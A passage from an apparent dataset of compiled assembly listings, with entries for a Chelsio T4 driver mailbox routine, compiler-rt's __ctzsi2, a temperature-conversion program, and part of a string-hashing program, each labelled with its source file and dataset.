mov x1, x26
bl _t4_read_reg
mov x25, x0
bl _G_MBOWNER
ldr w8, [x20]
cmp w0, w8
b.eq LBB0_9
; %bb.10:
Lloh36:
adrp x8, _X_MBOWNER_PL@GOTPAGE
Lloh37:
ldr x8, [x8, _X_MBOWNER_PL@GOTPAGEOFF]
Lloh38:
ldr w8, [x8]
cmp w0, w8
b.ne LBB0_32
; %bb.11:
Lloh39:
adrp x8, _F_MBMSGVALID@GOTPAGE
Lloh40:
ldr x8, [x8, _F_MBMSGVALID@GOTPAGEOFF]
Lloh41:
ldr w8, [x8]
tst w8, w25
ldur w25, [x29, #-120] ; 4-byte Folded Reload
b.eq LBB0_13
; %bb.12:
Lloh42:
adrp x3, l_.str@PAGE
Lloh43:
add x3, x3, l_.str@PAGEOFF
mov x0, x19
mov x1, x25
ldur w2, [x29, #-116] ; 4-byte Folded Reload
mov x4, #0 ; =0x0
mov w5, #1 ; =0x1
bl _CH_DUMP_MBOX
LBB0_13:
lsl w2, w23, #2
mov x0, x22
mov w1, #0 ; =0x0
bl _memset
mov x0, x22
ldur x1, [x29, #-112] ; 8-byte Folded Reload
mov x2, x27
bl _memcpy
Lloh44:
adrp x3, l_.str.1@PAGE
Lloh45:
add x3, x3, l_.str.1@PAGEOFF
mov x0, x19
mov x1, x25
mov w2, #0 ; =0x0
mov x4, x22
mov w5, #0 ; =0x0
bl _CH_DUMP_MBOX
mov x0, x22
bl _ARRAY_SIZE
cmp w0, #1
b.lt LBB0_16
; %bb.14:
mov x23, #0 ; =0x0
ldur w25, [x29, #-116] ; 4-byte Folded Reload
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr w0, [x22, x23, lsl #2]
bl _be64_to_cpu
mov x2, x0
mov x0, x19
mov x1, x25
bl _t4_write_reg64
add x23, x23, #1
mov x0, x22
bl _ARRAY_SIZE
sub w25, w25, #8
cmp x23, w0, sxtw
b.lt LBB0_15
LBB0_16:
ldr w8, [x19]
Lloh46:
adrp x9, _IS_VF@GOTPAGE
Lloh47:
ldr x9, [x9, _IS_VF@GOTPAGEOFF]
Lloh48:
ldr w9, [x9]
tst w9, w8
ldur w1, [x29, #-116] ; 4-byte Folded Reload
b.eq LBB0_18
; %bb.17:
mov x0, x19
bl _t4_read_reg
LBB0_18:
Lloh49:
adrp x8, _F_MBMSGVALID@GOTPAGE
Lloh50:
ldr x8, [x8, _F_MBMSGVALID@GOTPAGEOFF]
Lloh51:
ldr w23, [x8]
Lloh52:
adrp x8, _X_MBOWNER_FW@GOTPAGE
Lloh53:
ldr x8, [x8, _X_MBOWNER_FW@GOTPAGEOFF]
Lloh54:
ldr w0, [x8]
bl _V_MBOWNER
orr w2, w0, w23
mov x0, x19
mov x1, x26
bl _t4_write_reg
mov x0, x19
ldur x1, [x29, #-104] ; 8-byte Folded Reload
bl _read_tx_state
cbz w24, LBB0_33
; %bb.19:
stur x28, [x29, #-128] ; 8-byte Folded Spill
stur w27, [x29, #-132] ; 4-byte Folded Spill
mov w25, #0 ; =0x0
mov w27, #0 ; =0x0
mov w28, #0 ; =0x0
ldur w8, [x29, #-96] ; 4-byte Folded Reload
cmp w8, #0
ccmp w24, #1, #8, ne
cset w8, lt
stur w8, [x29, #-96] ; 4-byte Folded Spill
mov w21, #1 ; =0x1
mov w23, #1000 ; =0x3e8
b LBB0_21
LBB0_20: ; in Loop: Header=BB0_21 Depth=1
add w28, w21, w28
ldur w8, [x29, #-92] ; 4-byte Folded Reload
cmp w28, w8
b.ge LBB0_34
LBB0_21: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19]
Lloh55:
adrp x9, _IS_VF@GOTPAGE
Lloh56:
ldr x9, [x9, _IS_VF@GOTPAGEOFF]
Lloh57:
ldr w9, [x9]
tst w9, w8
b.ne LBB0_23
; %bb.22: ; in Loop: Header=BB0_21 Depth=1
Lloh58:
adrp x8, _A_PCIE_FW@GOTPAGE
Lloh59:
ldr x8, [x8, _A_PCIE_FW@GOTPAGEOFF]
Lloh60:
ldr w1, [x8]
mov x0, x19
bl _t4_read_reg
mov x25, x0
Lloh61:
adrp x8, _F_PCIE_FW_ERR@GOTPAGE
Lloh62:
ldr x8, [x8, _F_PCIE_FW_ERR@GOTPAGEOFF]
Lloh63:
ldr w8, [x8]
tst w8, w0
b.ne LBB0_34
LBB0_23: ; in Loop: Header=BB0_21 Depth=1
cmp w28, w23
b.lt LBB0_25
; %bb.24: ; in Loop: Header=BB0_21 Depth=1
mov x0, x19
ldur x1, [x29, #-104] ; 8-byte Folded Reload
bl _check_tx_state
add w23, w28, #1000
LBB0_25: ; in Loop: Header=BB0_21 Depth=1
ldur w8, [x29, #-96] ; 4-byte Folded Reload
tbz w8, #0, LBB0_27
; %bb.26: ; in Loop: Header=BB0_21 Depth=1
mov x0, x21
bl _mdelay
b LBB0_28
LBB0_27: ; in Loop: Header=BB0_21 Depth=1
Lloh64:
adrp x0, _t4_wr_mbox_meat_timeout.delay@PAGE
Lloh65:
add x0, x0, _t4_wr_mbox_meat_timeout.delay@PAGEOFF
ldr w21, [x0, w27, sxtw #2]
bl _ARRAY_SIZE
sub w8, w0, #1
cmp w27, w8
cinc w27, w27, lt
mov x0, x21
bl _msleep
LBB0_28: ; in Loop: Header=BB0_21 Depth=1
mov x0, x19
mov x1, x26
bl _t4_read_reg
Lloh66:
adrp x8, _X_CIM_PF_NOACCESS@GOTPAGE
Lloh67:
ldr x8, [x8, _X_CIM_PF_NOACCESS@GOTPAGEOFF]
Lloh68:
ldr w8, [x8]
cmp w0, w8
b.eq LBB0_20
; %bb.29: ; in Loop: Header=BB0_21 Depth=1
mov x24, x0
bl _G_MBOWNER
Lloh69:
adrp x8, _X_MBOWNER_PL@GOTPAGE
Lloh70:
ldr x8, [x8, _X_MBOWNER_PL@GOTPAGEOFF]
Lloh71:
ldr w8, [x8]
cmp w0, w8
b.ne LBB0_20
; %bb.30: ; in Loop: Header=BB0_21 Depth=1
Lloh72:
adrp x8, _F_MBMSGVALID@GOTPAGE
Lloh73:
ldr x8, [x8, _F_MBMSGVALID@GOTPAGEOFF]
Lloh74:
ldr w8, [x8]
tst w8, w24
b.ne LBB0_40
; %bb.31: ; in Loop: Header=BB0_21 Depth=1
ldr w0, [x20]
bl _V_MBOWNER
mov x2, x0
mov x0, x19
mov x1, x26
bl _t4_write_reg
b LBB0_20
LBB0_32:
mov x20, x0
mov x0, x19
bl _t4_report_fw_error
Lloh75:
adrp x8, _X_MBOWNER_FW@GOTPAGE
Lloh76:
ldr x8, [x8, _X_MBOWNER_FW@GOTPAGEOFF]
Lloh77:
adrp x9, _EBUSY@GOTPAGE
Lloh78:
ldr x9, [x9, _EBUSY@GOTPAGEOFF]
Lloh79:
ldr w8, [x8]
Lloh80:
adrp x10, _ETIMEDOUT@GOTPAGE
Lloh81:
ldr x10, [x10, _ETIMEDOUT@GOTPAGEOFF]
cmp w20, w8
csel x8, x9, x10, eq
ldr w20, [x8]
b LBB0_38
LBB0_33:
mov w25, #0 ; =0x0
LBB0_34:
ldur x8, [x29, #-112] ; 8-byte Folded Reload
ldr w2, [x8]
Lloh82:
adrp x1, l_.str.3@PAGE
Lloh83:
add x1, x1, l_.str.3@PAGEOFF
mov x0, x19
ldur w20, [x29, #-120] ; 4-byte Folded Reload
mov x3, x20
mov x4, x25
bl _CH_ERR
Lloh84:
adrp x3, l_.str.4@PAGE
Lloh85:
add x3, x3, l_.str.4@PAGEOFF
mov x0, x19
mov x1, x20
mov w2, #0 ; =0x0
mov x4, x22
mov w5, #1 ; =0x1
bl _CH_DUMP_MBOX
Lloh86:
adrp x3, l_.str.5@PAGE
Lloh87:
add x3, x3, l_.str.5@PAGEOFF
mov x0, x19
mov x1, x20
ldur w2, [x29, #-116] ; 4-byte Folded Reload
mov x4, #0 ; =0x0
mov w5, #1 ; =0x1
bl _CH_DUMP_MBOX
Lloh88:
adrp x8, _F_PCIE_FW_ERR@GOTPAGE
Lloh89:
ldr x8, [x8, _F_PCIE_FW_ERR@GOTPAGEOFF]
Lloh90:
ldr w8, [x8]
tst w8, w25
b.eq LBB0_36
; %bb.35:
Lloh91:
adrp x8, _ENXIO@GOTPAGE
Lloh92:
ldr x8, [x8, _ENXIO@GOTPAGEOFF]
Lloh93:
ldr w20, [x8]
mov x0, x19
bl _t4_report_fw_error
b LBB0_37
LBB0_36:
Lloh94:
adrp x8, _ETIMEDOUT@GOTPAGE
Lloh95:
ldr x8, [x8, _ETIMEDOUT@GOTPAGEOFF]
Lloh96:
ldr w20, [x8]
mov x0, x19
bl _t4_os_dump_devlog
LBB0_37:
mov x0, x19
mov w1, #1 ; =0x1
bl _t4_fatal_err
LBB0_38:
ldur x8, [x29, #-88]
Lloh97:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh98:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh99:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_46
; %bb.39:
neg w0, w20
sub sp, x29, #80
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
LBB0_40:
Lloh100:
adrp x8, _MBOX_LEN@GOTPAGE
Lloh101:
ldr x8, [x8, _MBOX_LEN@GOTPAGEOFF]
Lloh102:
ldr w8, [x8]
add w9, w8, #7
cmp w8, #0
csel w8, w9, w8, lt
asr w2, w8, #3
mov x0, x19
mov x1, x22
ldur w3, [x29, #-116] ; 4-byte Folded Reload
bl _get_mbox_rpl
Lloh103:
adrp x3, l_.str.2@PAGE
Lloh104:
add x3, x3, l_.str.2@PAGEOFF
mov x0, x19
ldur w1, [x29, #-120] ; 4-byte Folded Reload
mov w2, #0 ; =0x0
mov x4, x22
mov w5, #0 ; =0x0
bl _CH_DUMP_MBOX
ldr w0, [x20]
bl _V_MBOWNER
mov x2, x0
mov x0, x19
mov x1, x26
bl _t4_write_reg
ldr w0, [x22]
bl _be64_to_cpu
mov x21, x0
bl _G_FW_CMD_OP
Lloh105:
adrp x8, _FW_DEBUG_CMD@GOTPAGE
Lloh106:
ldr x8, [x8, _FW_DEBUG_CMD@GOTPAGEOFF]
Lloh107:
ldr x8, [x8]
cmp x0, x8
b.ne LBB0_42
; %bb.41:
mov x0, x19
mov x1, x22
bl _fw_asrt
Lloh108:
adrp x8, _EIO@GOTPAGE
Lloh109:
ldr x8, [x8, _EIO@GOTPAGEOFF]
Lloh110:
ldr w0, [x8]
bl _V_FW_CMD_RETVAL
b LBB0_45
LBB0_42:
ldur x0, [x29, #-128] ; 8-byte Folded Reload
cbz x0, LBB0_44
; %bb.43:
mov x1, x22
ldur w2, [x29, #-132] ; 4-byte Folded Reload
bl _memcpy
LBB0_44:
mov x0, x21
LBB0_45:
bl _G_FW_CMD_RETVAL
mov x20, x0
b LBB0_38
LBB0_46:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15
.loh AdrpLdrGot Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGotLdr Lloh28, Lloh29, Lloh30
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpLdrGot Lloh24, Lloh25
.loh AdrpLdrGotLdr Lloh31, Lloh32, Lloh33
.loh AdrpLdrGot Lloh34, Lloh35
.loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh38
.loh AdrpLdrGotLdr Lloh39, Lloh40, Lloh41
.loh AdrpAdd Lloh42, Lloh43
.loh AdrpAdd Lloh44, Lloh45
.loh AdrpLdrGotLdr Lloh46, Lloh47, Lloh48
.loh AdrpLdrGotLdr Lloh52, Lloh53, Lloh54
.loh AdrpLdrGotLdr Lloh49, Lloh50, Lloh51
.loh AdrpLdrGotLdr Lloh55, Lloh56, Lloh57
.loh AdrpLdrGotLdr Lloh61, Lloh62, Lloh63
.loh AdrpLdrGotLdr Lloh58, Lloh59, Lloh60
.loh AdrpAdd Lloh64, Lloh65
.loh AdrpLdrGotLdr Lloh66, Lloh67, Lloh68
.loh AdrpLdrGotLdr Lloh69, Lloh70, Lloh71
.loh AdrpLdrGotLdr Lloh72, Lloh73, Lloh74
.loh AdrpLdrGot Lloh80, Lloh81
.loh AdrpLdrGot Lloh77, Lloh78
.loh AdrpLdrGotLdr Lloh75, Lloh76, Lloh79
.loh AdrpLdrGotLdr Lloh88, Lloh89, Lloh90
.loh AdrpAdd Lloh86, Lloh87
.loh AdrpAdd Lloh84, Lloh85
.loh AdrpAdd Lloh82, Lloh83
.loh AdrpLdrGotLdr Lloh91, Lloh92, Lloh93
.loh AdrpLdrGotLdr Lloh94, Lloh95, Lloh96
.loh AdrpLdrGotLdr Lloh97, Lloh98, Lloh99
.loh AdrpLdrGotLdr Lloh105, Lloh106, Lloh107
.loh AdrpAdd Lloh103, Lloh104
.loh AdrpLdrGotLdr Lloh100, Lloh101, Lloh102
.loh AdrpLdrGotLdr Lloh108, Lloh109, Lloh110
.loh AdrpLdrGot Lloh11, Lloh12
.loh AdrpLdrGot Lloh16, Lloh17
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2, 0x0 ; @t4_wr_mbox_meat_timeout.delay
_t4_wr_mbox_meat_timeout.delay:
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 5 ; 0x5
.long 10 ; 0xa
.long 10 ; 0xa
.long 20 ; 0x14
.long 50 ; 0x32
.long 100 ; 0x64
.comm _A_CIM_PF_MAILBOX_DATA,4,2 ; @A_CIM_PF_MAILBOX_DATA
.comm _A_CIM_PF_MAILBOX_CTRL,4,2 ; @A_CIM_PF_MAILBOX_CTRL
.comm _MBOX_LEN,4,2 ; @MBOX_LEN
.comm _MAX_NPORTS,4,2 ; @MAX_NPORTS
.comm _CHK_MBOX_ACCESS,4,2 ; @CHK_MBOX_ACCESS
.comm _EINVAL,4,2 ; @EINVAL
.comm _IS_VF,4,2 ; @IS_VF
.comm _FW_T6VF_MBDATA_BASE_ADDR,4,2 ; @FW_T6VF_MBDATA_BASE_ADDR
.comm _FW_T4VF_MBDATA_BASE_ADDR,4,2 ; @FW_T4VF_MBDATA_BASE_ADDR
.comm _A_CIM_VF_EXT_MAILBOX_CTRL,4,2 ; @A_CIM_VF_EXT_MAILBOX_CTRL
.comm _X_MBOWNER_NONE,4,2 ; @X_MBOWNER_NONE
.comm _X_MBOWNER_PL,4,2 ; @X_MBOWNER_PL
.comm _X_MBOWNER_FW,4,2 ; @X_MBOWNER_FW
.comm _EBUSY,4,2 ; @EBUSY
.comm _ETIMEDOUT,4,2 ; @ETIMEDOUT
.comm _F_MBMSGVALID,4,2 ; @F_MBMSGVALID
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "VLD"
l_.str.1: ; @.str.1
.asciz "cmd"
.comm _A_PCIE_FW,4,2 ; @A_PCIE_FW
.comm _F_PCIE_FW_ERR,4,2 ; @F_PCIE_FW_ERR
.comm _X_CIM_PF_NOACCESS,4,2 ; @X_CIM_PF_NOACCESS
l_.str.2: ; @.str.2
.asciz "rpl"
.comm _FW_DEBUG_CMD,8,3 ; @FW_DEBUG_CMD
.comm _EIO,4,2 ; @EIO
l_.str.3: ; @.str.3
.asciz "command %#x in mbox %d timed out (0x%08x).\n"
l_.str.4: ; @.str.4
.asciz "cmdsent"
l_.str.5: ; @.str.5
.asciz "current"
.comm _ENXIO,4,2 ; @ENXIO
.subsections_via_symbols
| assembly_file_29418.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___ctzsi2 ## -- Begin function __ctzsi2
.p2align 4, 0x90
___ctzsi2: ## @__ctzsi2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $edi killed $edi def $rdi
xorl %eax, %eax
testw %di, %di
sete %al
shll $4, %eax
movl %eax, %ecx
sarl %cl, %edi
xorl %edx, %edx
testb %dil, %dil
sete %dl
leal (,%rdx,8), %ecx
## kill: def $cl killed $cl killed $ecx
sarl %cl, %edi
leal (%rax,%rdx,8), %eax
xorl %edx, %edx
testb $15, %dil
sete %dl
leal (,%rdx,4), %ecx
## kill: def $cl killed $cl killed $ecx
sarl %cl, %edi
leal (%rax,%rdx,4), %eax
xorl %edx, %edx
testb $3, %dil
sete %dl
leal (%rdx,%rdx), %ecx
## kill: def $cl killed $cl killed $ecx
sarl %cl, %edi
leal (%rax,%rdx,2), %ecx
movl %edi, %edx
shll $30, %edx
sarl $31, %edx
addl $2, %edx
orl $-2, %edi
leal 1(%rdi), %eax
andl %edx, %eax
addl %ecx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___ctzsi2 ; -- Begin function __ctzsi2
.p2align 2
___ctzsi2: ; @__ctzsi2
.cfi_startproc
; %bb.0:
tst w0, #0xffff
cset w8, eq
lsl w8, w8, #4
asr w9, w0, w8
tst w9, #0xff
cset w10, eq
lsl w11, w10, #3
asr w9, w9, w11
bfi w8, w10, #3, #1
tst w9, #0xf
cset w10, eq
lsl w11, w10, #2
asr w9, w9, w11
bfi w8, w10, #2, #1
tst w9, #0x3
cset w10, eq
lsl w11, w10, #1
asr w9, w9, w11
bfi w8, w10, #1, #1
sbfx w10, w9, #1, #1
add w10, w10, #2
orr w9, w9, #0xfffffffe
add w9, w9, #1
and w9, w10, w9
add w0, w8, w9
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/freebsd/contrib/compiler-rt/lib/builtins/extr_ctzsi2.c___ctzsi2.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4022000000000000 ## double 9
LCPI0_1:
.quad 0x4014000000000000 ## double 5
LCPI0_2:
.quad 0x4040000000000000 ## double 32
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
leaq L_.str(%rip), %rdi
leaq L_.str.1(%rip), %rsi
leaq L_.str.2(%rip), %rdx
xorl %eax, %eax
callq _printf
movl $-9, %ebx
leaq L_.str.3(%rip), %r14
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
addl $9, %ebx
xorps %xmm0, %xmm0
cvtsi2ss %ebx, %xmm0
cvtss2sd %xmm0, %xmm0
movaps %xmm0, %xmm1
mulsd LCPI0_0(%rip), %xmm1
divsd LCPI0_1(%rip), %xmm1
addsd LCPI0_2(%rip), %xmm1
cvtsd2ss %xmm1, %xmm1
cvtss2sd %xmm1, %xmm1
movq %r14, %rdi
movb $2, %al
callq _printf
cmpl $92, %ebx
jb LBB0_1
## %bb.2:
xorl %eax, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%3s\t%6s\n"
L_.str.1: ## @.str.1
.asciz "cel"
L_.str.2: ## @.str.2
.asciz "far"
L_.str.3: ## @.str.3
.asciz "%3.0f\t%6.1f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp d9, d8, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset b8, -56
.cfi_offset b9, -64
Lloh0:
adrp x8, l_.str.2@PAGE
Lloh1:
add x8, x8, l_.str.2@PAGEOFF
Lloh2:
adrp x9, l_.str.1@PAGE
Lloh3:
add x9, x9, l_.str.1@PAGEOFF
stp x9, x8, [sp]
Lloh4:
adrp x0, l_.str@PAGE
Lloh5:
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w20, #-9
fmov d8, #9.00000000
fmov d9, #5.00000000
mov x21, #4629700416936869888
Lloh6:
adrp x19, l_.str.3@PAGE
Lloh7:
add x19, x19, l_.str.3@PAGEOFF
LBB0_1: ; =>This Inner Loop Header: Depth=1
add w20, w20, #9
scvtf s0, w20
fcvt d0, s0
fmul d1, d0, d8
fdiv d1, d1, d9
fmov d2, x21
fadd d1, d1, d2
fcvt s1, d1
fcvt d1, s1
stp d0, d1, [sp]
mov x0, x19
bl _printf
cmp w20, #92
b.lo LBB0_1
; %bb.2:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp d9, d8, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #80
ret
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%3s\t%6s\n"
l_.str.1: ; @.str.1
.asciz "cel"
l_.str.2: ; @.str.2
.asciz "far"
l_.str.3: ; @.str.3
.asciz "%3.0f\t%6.1f\n"
.subsections_via_symbols
| the_stack_data/86076040.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cmp ## -- Begin function cmp
.p2align 4, 0x90
_cmp: ## @cmp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq (%rsi), %rax
cmpq %rax, (%rdi)
jne LBB0_2
## %bb.1:
movq 8(%rdi), %rax
cmpq 8(%rsi), %rax
LBB0_2:
setb %al
xorb $1, %al
movzbl %al, %eax
addl %eax, %eax
decl %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
leaq L_.str(%rip), %rdi
movq _N@GOTPCREL(%rip), %r15
movq _L@GOTPCREL(%rip), %rdx
movq _S@GOTPCREL(%rip), %rcx
movq %r15, %rsi
xorl %eax, %eax
callq _scanf
movl (%r15), %r11d
testl %r11d, %r11d
jle LBB1_4
## %bb.1:
movq _buf@GOTPCREL(%rip), %rax
leaq 1(%rax), %r14
leaq L_.str.1(%rip), %r12
xorl %ebx, %ebx
.p2align 4, 0x90
LBB1_2: ## =>This Inner Loop Header: Depth=1
movq %r12, %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _scanf
incq %rbx
movslq (%r15), %r11
addq $209, %r14
cmpq %r11, %rbx
jl LBB1_2
## %bb.3:
testl %r11d, %r11d
jle LBB1_4
## %bb.7:
movl %r11d, %eax
movq %rax, -80(%rbp) ## 8-byte Spill
movq _L@GOTPCREL(%rip), %rax
movl (%rax), %r9d
leal 1(%r9), %eax
movq %rax, -72(%rbp) ## 8-byte Spill
leaq -1(%rax), %r12
leaq 1(%r9), %rcx
leaq -1(%r9), %rax
movq %rax, -48(%rbp) ## 8-byte Spill
movq %r12, %rax
movq %r12, -64(%rbp) ## 8-byte Spill
andq $-2, %r12
movq _buf@GOTPCREL(%rip), %rax
leaq 1(%rax), %rsi
movq _hsh@GOTPCREL(%rip), %rdi
leaq 32(%rdi), %r15
leaq -1(%rax), %rdx
leaq 8(%rdi), %r14
negq %r12
xorl %r13d, %r13d
shlq $4, %rcx
movq %rcx, -56(%rbp) ## 8-byte Spill
jmp LBB1_8
.p2align 4, 0x90
LBB1_20: ## in Loop: Header=BB1_8 Depth=1
incq %r13
addq $209, %rsi
addq $3344, %r15 ## imm = 0xD10
addq $209, %rdx
addq $3344, %r14 ## imm = 0xD10
cmpq -80(%rbp), %r13 ## 8-byte Folded Reload
je LBB1_5
LBB1_8: ## =>This Loop Header: Depth=1
## Child Loop BB1_11 Depth 2
## Child Loop BB1_19 Depth 2
movq %r9, %rdi
testl %r9d, %r9d
jle LBB1_14
## %bb.9: ## in Loop: Header=BB1_8 Depth=1
imulq $3344, %r13, %r8 ## imm = 0xD10
movq _hsh@GOTPCREL(%rip), %rax
movq (%rax,%r8), %r10
movl $1, %r9d
cmpl $2, -72(%rbp) ## 4-byte Folded Reload
je LBB1_12
## %bb.10: ## in Loop: Header=BB1_8 Depth=1
movl $1, %r9d
movq %r15, %rbx
.p2align 4, 0x90
LBB1_11: ## Parent Loop BB1_8 Depth=1
## => This Inner Loop Header: Depth=2
imulq $131, %r10, %rax
movsbq -1(%rsi,%r9), %rcx
addq %rax, %rcx
movq %rcx, -16(%rbx)
imulq $131, %rcx, %rax
movsbq (%rsi,%r9), %r10
addq %rax, %r10
movq %r10, (%rbx)
addq $32, %rbx
leaq (%r12,%r9), %rax
addq $2, %rax
addq $2, %r9
cmpq $1, %rax
jne LBB1_11
LBB1_12: ## in Loop: Header=BB1_8 Depth=1
testb $1, -64(%rbp) ## 1-byte Folded Reload
je LBB1_14
## %bb.13: ## in Loop: Header=BB1_8 Depth=1
imulq $131, %r10, %rcx
imulq $209, %r13, %rbx
addq _buf@GOTPCREL(%rip), %rbx
movsbq (%r9,%rbx), %rbx
addq %rcx, %rbx
shlq $4, %r9
addq _hsh@GOTPCREL(%rip), %r8
movq %rbx, (%r9,%r8)
LBB1_14: ## in Loop: Header=BB1_8 Depth=1
movq %rdi, %r9
testl %r9d, %r9d
jle LBB1_20
## %bb.15: ## in Loop: Header=BB1_8 Depth=1
movq %r9, %rbx
testb $1, %r9b
je LBB1_17
## %bb.16: ## in Loop: Header=BB1_8 Depth=1
imulq $3344, %r13, %rcx ## imm = 0xD10
addq _hsh@GOTPCREL(%rip), %rcx
movq -56(%rbp), %rax ## 8-byte Reload
imulq $131, 8(%rax,%rcx), %r8
imulq $209, %r13, %rbx
addq _buf@GOTPCREL(%rip), %rbx
movsbq (%r9,%rbx), %rbx
addq %r8, %rbx
movq %r9, %rax
shlq $4, %rax
movq %rbx, 8(%rax,%rcx)
movq -48(%rbp), %rbx ## 8-byte Reload
LBB1_17: ## in Loop: Header=BB1_8 Depth=1
cmpl $1, %r9d
je LBB1_20
## %bb.18: ## in Loop: Header=BB1_8 Depth=1
leaq 2(%rbx), %rcx
shlq $4, %rbx
addq %r14, %rbx
.p2align 4, 0x90
LBB1_19: ## Parent Loop BB1_8 Depth=1
## => This Inner Loop Header: Depth=2
imulq $131, 16(%rbx), %rax
movsbq -1(%rdx,%rcx), %rdi
addq %rax, %rdi
movq %rdi, (%rbx)
imulq $131, %rdi, %rax
movsbq -2(%rdx,%rcx), %rdi
addq %rax, %rdi
movq %rdi, -16(%rbx)
addq $-2, %rcx
addq $-32, %rbx
cmpq $2, %rcx
jg LBB1_19
jmp LBB1_20
LBB1_4:
movq _L@GOTPCREL(%rip), %rax
movl (%rax), %r9d
LBB1_5:
testl %r9d, %r9d
jle LBB1_6
## %bb.21:
movl $1, %r14d
movq _hsh@GOTPCREL(%rip), %r15
xorl %r13d, %r13d
movq _tmp@GOTPCREL(%rip), %r12
jmp LBB1_22
.p2align 4, 0x90
LBB1_39: ## in Loop: Header=BB1_22 Depth=1
leaq 1(%r14), %rax
movq _L@GOTPCREL(%rip), %rcx
movslq (%rcx), %rcx
addq $16, %r15
cmpq %rcx, %r14
movq %rax, %r14
jge LBB1_40
LBB1_22: ## =>This Loop Header: Depth=1
## Child Loop BB1_26 Depth 2
## Child Loop BB1_31 Depth 2
## Child Loop BB1_33 Depth 3
testl %r11d, %r11d
jle LBB1_29
## %bb.23: ## in Loop: Header=BB1_22 Depth=1
movl %r11d, %r8d
cmpl $1, %r11d
jne LBB1_25
## %bb.24: ## in Loop: Header=BB1_22 Depth=1
xorl %ecx, %ecx
jmp LBB1_27
.p2align 4, 0x90
LBB1_25: ## in Loop: Header=BB1_22 Depth=1
leaq 24(%r12), %rsi
movl %r8d, %edi
andl $-2, %edi
movq %r15, %rdx
xorl %ecx, %ecx
.p2align 4, 0x90
LBB1_26: ## Parent Loop BB1_22 Depth=1
## => This Inner Loop Header: Depth=2
movq (%rdx), %rax
movq %rax, -24(%rsi)
movq 40(%rdx), %rax
